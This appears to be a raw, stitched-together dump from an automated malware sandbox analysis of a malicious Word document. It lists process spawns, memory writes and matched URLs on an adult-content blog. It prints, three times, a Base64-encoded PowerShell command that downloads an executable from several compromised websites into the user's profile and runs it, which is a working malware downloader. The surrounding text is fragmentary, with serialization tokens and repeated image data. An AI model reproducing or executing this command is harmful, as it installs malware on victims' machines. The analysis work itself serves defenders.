"http://www.eteensblog.com/wp-content/themes/bimber/js/matchmedia/matchmedia.addlistener.js" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/picturefill/picturefill.min.js?ver=2.3.1" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/jquery.waypoints/jquery.waypoints.min.js?ver=4.0.0" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/libgif/libgif.js" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/enquire/enquire.min.js?ver=2.1.2" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/ui/core.min.js?ver=1.11.4" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/ui/position.min.js?ver=1.11.4" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/ui/menu.min.js?ver=1.11.4" Pattern match: "http://www.eteensblog.com/wp-includes/js/wp-sanitize.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-includes/js/wp-a11y.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/ui/autocomplete.min.js?ver=1.11.4" Pattern match: "www.eteensblog.com\\\/wp-admin\\\/admin-ajax.php\,\timeago\:\on\,\sharebar\:\on\,\microshare\:\on\,\i18n\:{\menu\:{\go_to\:\Go" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/front.js?ver=7.3.2" Pattern match: "www.eteensblog.com\/wp-admin\/admin-ajax.php,ajaxSecurity:fc820b0b2a,isMultisite:,path:\/,blogId" Pattern match: "http://www.eteensblog.com/wp-content/plugins/wp-gdpr-compliance/assets/js/front.js?ver=1567040647" Pattern match: "http://www.eteensblog.com/wp-includes/js/wp-embed.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/mailchimp-for-wp/assets/js/forms-api.min.js?ver=4.5.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/mailchimp-for-wp/assets/js/third-party/placeholders.min.js?ver=4.5.3"2c:T6d0,"" (Indicator: "youtube") "var mashsb = {"shares":"0","round_shares":"1","animate_shares":"0","dynamic_buttons":"0","share_url":"http:\/\/www.eteensblog.com\/sweet-18yr-old-rion-makes-her-debut\/","title":"Sweet+18yr+Old+Rion+Makes+Her+Debut","image":"http:\/\/www.eteensblog.com\/wp-content\/uploads\/2019\/08\/rion00001.jpg","desc":"This week's Exploitedteens episode features the dark-haired (and a little mysterious-looking) 18 year old Rion. Yes, that's a very odd name... but I didn't name her (Heh- Heh!). So Rion is brand new to this, \u2026","hashtag":"","subscribe":"link","subscribe_url":"","activestatus":"1","singular":"0","twitter_popup":"1","refresh":"0","nonce":"e70c8dcd53","postid":"","servertime":"1570222740","ajaxurl":"http:\/\/www.eteensblog.com\/wp-admin\/admin-ajax.php"};" (Indicator: "twitter"), "" (Indicator: "facebook.com"), "

" (Indicator: "twitter"), "" (Indicator: "twitter"), "" (Indicator: "twitter"), "" (Indicator: "twitter"), "" (Indicator: "youtube")2d:T89d,"WINWORD.EXE" wrote bytes "460be488f57ad501" to virtual address "0xE8F02350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "e933efddffcccc" to virtual address "0xFDB11210" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e94b9fddffcccccccccc" to virtual address "0xFDB16230" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "d708e488f57ad501" to virtual address "0xF28371C0" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "48b8bc5284e6fe070000ffe0" to virtual address "0x77649020" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "997df288f57ad501" to virtual address "0xF4C40160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "4b0ace88f57ad501" to virtual address "0xF4ACDE48" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFDA550C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "24a0000000448b84" to virtual address "0xF483E228" (part of module "GKWORD.DLL") "WINWORD.EXE" wrote bytes "e9abc0ddffcc" to virtual address "0xFDB14060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e933f0ddff" to virtual address "0xFDB11180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "9b72cc8cf57ad501" to virtual address "0xF3A925D8" (part of module "MSPROOF7.DLL") "WINWORD.EXE" wrote bytes "d002c2e6fe070000" to virtual address "0xFDABA558" (part of module "OLE32.DLL") "WINWORD.EXE" wrote bytes "4e0ee488f57ad501" to virtual address "0xF5F4FA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "9d129888f57ad501" to virtual address "0xE7C5D610" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "5855bd88f57ad501" to virtual address "0x3F0F3258" (part of module "WINWORD.EXE") "powershell.exe" wrote bytes "654c8b1c2588150000" to virtual address "0xEADF755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "9004018ff57a0000" to virtual address "0xEAB81D70" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2588150000" to virtual address "0xEADF760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xEADF8C0B" (part of module "MSCORWKS.DLL")2e:T9b5,"powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABtAG8AdABpAHYAYQB0AGkAbgBnAHEAdQBxAD0AJwBJAG4AdABlAGwAbABpAGcAZQBuAHQAYgBxAHYAJwA7ACQAbQBvAGQAZQBsAHMAdgBoAHoAIAA9ACAAJwA4ADkANwAnADsAJABBAHMAcwBpAHMAdABhAG4AdABvAHAAegA9ACcASABhAG4AZABjAHIAYQBmAHQAZQBkAGMAcgBkACcAOwAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbQBvAGQAZQBsAHMAdgBoAHoAKwAnAC4AZQB4AGUAJwA7ACQAcABsAHUAbQBrAHEAagA9ACcAVQBTAF8ARABvAGwAbABhAHIAagBzAHoAJwA7ACQAZwByAGUAZQBuAGoAdwBhAD0ALgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABSAHUAcwB0AGkAYwBfAEMAbwB0AHQAbwBuAF8ARgBpAHMAaABzAHYAbAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGUAdABlAGUAbgBzAGIAbABvAGcALgBjAG8AbQAvADIAdABnAG0AbgBrAC8AZgBKAFoASQBQAEMAWQBWAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcABhAGwAaQBzAGUAawAuAGMAegAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFkAdABnAEoAYgBXAFEATgB0AEoALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAG4AbQBpAG4AZgByAGEAcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHoAZQB0AGUAWABlAEoAWQBDAC8AQABoAHQAdABwADoALwAvAGEAYgBiAGEAcwBhAHIAZwBvAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHMAcQBoAHoAdABqADQAXwBkAHoAcQAzAGUALQAwADEAOQA4ADAAMgAxADUANQAvAEAAaAB0AHQAcABzADoALwAvAHcAZQBpAHEAaQBuAGcANwAuAGMAbwBtAC8AZQB4ADYALwAzAHIAMgBqAHMAXwBvAGMAZwByADMAYgBlAHcAOAA3AC0ANQAzADgANAA2ADAALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAJwBAACcAKQA7ACQARwByAGEAcABoAGkAYwBhAGwAXwBVAHMAZQByAF8ASQBuAHQAZQByAGYAYQBjAGUAegB2AHUAPQAnAEEAZAB2AGEAbgBjAGUAZABpAG4AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIAIABpAG4AIAAkAFIAdQBzAHQAaQBjAF8AQwBvAHQAdABvAG4AXwBGAGkAcwBoAHMAdgBsACkAewB0AHIAeQB7ACQAZwByAGUAZQBuAGoAdwBhAC4AIgBEAGAAbwB3AE4AYABMAE8AQQBkAGYAaQBMAEUAIgAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIALAAgACQAcwBvAGwAaQBkAF8AcwB0AGEAdABlAHoAYwBoACkAOwAkAHcAaQByAGUAbABlAHMAcwBmAHUAZAA9ACcAdwBvAHIAbABkAGMAbABhAHMAcwBuAGsAcAAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANwA1ADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABBAHIAdAAiACgAJABzAG8AbABpAGQAXwBzAHQAYQB0AGUAegBjAGgAKQA7ACQAYQByAHIAYQB5AHYAaABjAD0AJwBtAGEAcgBvAG8AbgBoAGEAdAAnADsAYgByAGUAYQBrADsAJABBAHoAZQByAGIAYQBpAGoAYQBuAHcAagBrAD0AJwBjAGEAbABjAHUAbABhAHQAZQB1AGYAdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAHUAeQBhAG4AYQBsAHMAdwA9ACcATABvAGMAawBzAG0AdgBvACcA" on 2019-10-4.22:53:14.6172f:T460,"powershell.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 1644) "powershell.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 1644) "powershell.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 1644) "powershell.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 1644) "897.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 364) "897.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 364) "897.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 364) "897.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\897.exe" (Handle: 364) "capprep.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\capprep.exe" (Handle: 260) "capprep.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\capprep.exe" (Handle: 260) "capprep.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\capprep.exe" (Handle: 260) "capprep.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\capprep.exe" (Handle: 260)30:Tb66,Spawned process "WINWORD.EXE" with commandline "/n "C:\RE_583658295301_1004.doc"" (UID: 00025308-00003988) Spawned process "powershell.exe" with commandline "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABtAG8AdABpAHYAYQB0AGkAbgBnAHEAdQBxAD0AJwBJAG4AdABlAGwAbABpAGcAZQBuAHQAYgBxAHYAJwA7ACQAbQBvAGQAZQBsAHMAdgBoAHoAIAA9ACAAJwA4ADkANwAnADsAJABBAHMAcwBpAHMAdABhAG4AdABvAHAAegA9ACcASABhAG4AZABjAHIAYQBmAHQAZQBkAGMAcgBkACcAOwAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbQBvAGQAZQBsAHMAdgBoAHoAKwAnAC4AZQB4AGUAJwA7ACQAcABsAHUAbQBrAHEAagA9ACcAVQBTAF8ARABvAGwAbABhAHIAagBzAHoAJwA7ACQAZwByAGUAZQBuAGoAdwBhAD0ALgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABSAHUAcwB0AGkAYwBfAEMAbwB0AHQAbwBuAF8ARgBpAHMAaABzAHYAbAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGUAdABlAGUAbgBzAGIAbABvAGcALgBjAG8AbQAvADIAdABnAG0AbgBrAC8AZgBKAFoASQBQAEMAWQBWAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcABhAGwAaQBzAGUAawAuAGMAegAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFkAdABnAEoAYgBXAFEATgB0AEoALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAG4AbQBpAG4AZgByAGEAcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHoAZQB0AGUAWABlAEoAWQBDAC8AQABoAHQAdABwADoALwAvAGEAYgBiAGEAcwBhAHIAZwBvAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHMAcQBoAHoAdABqADQAXwBkAHoAcQAzAGUALQAwADEAOQA4ADAAMgAxADUANQAvAEAAaAB0AHQAcABzADoALwAvAHcAZQBpAHEAaQBuAGcANwAuAGMAbwBtAC8AZQB4ADYALwAzAHIAMgBqAHMAXwBvAGMAZwByADMAYgBlAHcAOAA3AC0ANQAzADgANAA2ADAALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAJwBAACcAKQA7ACQARwByAGEAcABoAGkAYwBhAGwAXwBVAHMAZQByAF8ASQBuAHQAZQByAGYAYQBjAGUAegB2AHUAPQAnAEEAZAB2AGEAbgBjAGUAZABpAG4AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIAIABpAG4AIAAkAFIAdQBzAHQAaQBjAF8AQwBvAHQAdABvAG4AXwBGAGkAcwBoAHMAdgBsACkAewB0AHIAeQB7ACQAZwByAGUAZQBuAGoAdwBhAC4AIgBEAGAAbwB3AE4AYABMAE8AQQBkAGYAaQBMAEUAIgAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIALAAgACQAcwBvAGwAaQBkAF8AcwB0AGEAdABlAHoAYwBoACkAOwAkAHcAaQByAGUAbABlAHMAcwBmAHUAZAA9ACcAdwBvAHIAbABkAGMAbABhAHMAcwBuAGsAcAAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANwA1ADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABBAHIAdAAiACgAJABzAG8AbABpAGQAXwBzAHQAYQB0AGUAegBjAGgAKQA7ACQAYQByAHIAYQB5AHYAaABjAD0AJwBtAGEAcgBvAG8AbgBoAGEAdAAnADsAYgByAGUAYQBrADsAJABBAHoAZQByAGIAYQBpAGoAYQBuAHcAagBrAD0AJwBjAGEAbABjAHUAbABhAHQAZQB1AGYAdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAHUAeQBhAG4AYQBsAHMAdwA9ACcATABvAGMAawBzAG0AdgBvACcA" (UID: 00025715-00002684) Spawned process "897.exe" (UID: 00025998-00003536) Spawned process "897.exe" with commandline "--caaf215f" (UID: 00026222-00003372) Spawned process "capprep.exe" (UID: 00026760-00003396) Spawned process "capprep.exe" with commandline "--83c0e935" (UID: 00026973-00002400)31:T92c,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:T999,powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABtAG8AdABpAHYAYQB0AGkAbgBnAHEAdQBxAD0AJwBJAG4AdABlAGwAbABpAGcAZQBuAHQAYgBxAHYAJwA7ACQAbQBvAGQAZQBsAHMAdgBoAHoAIAA9ACAAJwA4ADkANwAnADsAJABBAHMAcwBpAHMAdABhAG4AdABvAHAAegA9ACcASABhAG4AZABjAHIAYQBmAHQAZQBkAGMAcgBkACcAOwAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbQBvAGQAZQBsAHMAdgBoAHoAKwAnAC4AZQB4AGUAJwA7ACQAcABsAHUAbQBrAHEAagA9ACcAVQBTAF8ARABvAGwAbABhAHIAagBzAHoAJwA7ACQAZwByAGUAZQBuAGoAdwBhAD0ALgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABSAHUAcwB0AGkAYwBfAEMAbwB0AHQAbwBuAF8ARgBpAHMAaABzAHYAbAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGUAdABlAGUAbgBzAGIAbABvAGcALgBjAG8AbQAvADIAdABnAG0AbgBrAC8AZgBKAFoASQBQAEMAWQBWAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcABhAGwAaQBzAGUAawAuAGMAegAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFkAdABnAEoAYgBXAFEATgB0AEoALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAG4AbQBpAG4AZgByAGEAcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHoAZQB0AGUAWABlAEoAWQBDAC8AQABoAHQAdABwADoALwAvAGEAYgBiAGEAcwBhAHIAZwBvAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHMAcQBoAHoAdABqADQAXwBkAHoAcQAzAGUALQAwADEAOQA4ADAAMgAxADUANQAvAEAAaAB0AHQAcABzADoALwAvAHcAZQBpAHEAaQBuAGcANwAuAGMAbwBtAC8AZQB4ADYALwAzAHIAMgBqAHMAXwBvAGMAZwByADMAYgBlAHcAOAA3AC0ANQAzADgANAA2ADAALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAJwBAACcAKQA7ACQARwByAGEAcABoAGkAYwBhAGwAXwBVAHMAZQByAF8ASQBuAHQAZQByAGYAYQBjAGUAegB2AHUAPQAnAEEAZAB2AGEAbgBjAGUAZABpAG4AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIAIABpAG4AIAAkAFIAdQBzAHQAaQBjAF8AQwBvAHQAdABvAG4AXwBGAGkAcwBoAHMAdgBsACkAewB0AHIAeQB7ACQAZwByAGUAZQBuAGoAdwBhAC4AIgBEAGAAbwB3AE4AYABMAE8AQQBkAGYAaQBMAEUAIgAoACQAVQBTAF8ARABvAGwAbABhAHIAcgBiAHIALAAgACQAcwBvAGwAaQBkAF8AcwB0AGEAdABlAHoAYwBoACkAOwAkAHcAaQByAGUAbABlAHMAcwBmAHUAZAA9ACcAdwBvAHIAbABkAGMAbABhAHMAcwBuAGsAcAAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAHMAbwBsAGkAZABfAHMAdABhAHQAZQB6AGMAaAApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANwA1ADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABBAHIAdAAiACgAJABzAG8AbABpAGQAXwBzAHQAYQB0AGUAegBjAGgAKQA7ACQAYQByAHIAYQB5AHYAaABjAD0AJwBtAGEAcgBvAG8AbgBoAGEAdAAnADsAYgByAGUAYQBrADsAJABBAHoAZQByAGIAYQBpAGoAYQBuAHcAagBrAD0AJwBjAGEAbABjAHUAbABhAHQAZQB1AGYAdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAHUAeQBhAG4AYQBsAHMAdwA9ACcATABvAGMAawBzAG0AdgBvACcA33:T92c,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:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr